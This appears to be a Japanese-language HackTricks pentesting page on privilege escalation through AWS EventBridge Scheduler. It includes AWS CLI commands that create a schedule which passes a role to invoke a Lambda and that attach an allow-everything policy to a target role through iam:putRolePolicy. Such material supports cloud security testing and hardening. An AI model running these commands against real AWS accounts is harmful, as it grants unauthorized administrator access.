# AWS - EventBridge Scheduler Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## EventBridge Scheduler

詳細は EventBridge Scheduler にて:

{{#ref}}
../../aws-services/eventbridgescheduler-enum.md
{{#endref}}

### `iam:PassRole`, (`scheduler:CreateSchedule` | `scheduler:UpdateSchedule`)

その権限を持つ攻撃者は、**`create`|`update` により scheduler を作成/更新し、そこに紐づく scheduler role の権限を悪用して任意の操作を実行できます**

例えば、スケジュールを構成して、テンプレート化されたアクションである **invoke a Lambda function** するよう設定できます:
```bash
aws scheduler create-schedule \
--name MyLambdaSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:lambda:<region>:<account-id>:function:<LambdaFunctionName>",
"RoleArn": "arn:aws:iam::<account-id>:role/<RoleName>"
}'
```
テンプレート化された service actions に加えて、EventBridge Scheduler の **universal targets** を使い、さまざまな AWS サービスの幅広い API 操作を呼び出すことができます。  
Universal targets はほぼあらゆる API を呼び出す柔軟性を提供します。  
例として、**AdminAccessPolicy** を追加する **universal targets** を使用し、**putRolePolicy** ポリシーを持つロールを用いる方法があります:
```bash
aws scheduler create-schedule \
--name GrantAdminToTargetRoleSchedule \
--schedule-expression "rate(5 minutes)" \
--flexible-time-window "Mode=OFF" \
--target '{
"Arn": "arn:aws:scheduler:::aws-sdk:iam:putRolePolicy",
"RoleArn": "arn:aws:iam::<account-id>:role/RoleWithPutPolicy",
"Input": "{\"RoleName\": \"TargetRole\", \"PolicyName\": \"AdminAccessPolicy\", \"PolicyDocument\": \"{\\\"Version\\\": \\\"2012-10-17\\\", \\\"Statement\\\": [{\\\"Effect\\\": \\\"Allow\\\", \\\"Action\\\": \\\"*\\\", \\\"Resource\\\": \\\"*\\\"}]}\"}"
}'
```
## 参考文献

- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-templated.html)
- [https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html](https://docs.aws.amazon.com/scheduler/latest/UserGuide/managing-targets-universal.html)

{{#include ../../../../banners/hacktricks-training.md}}
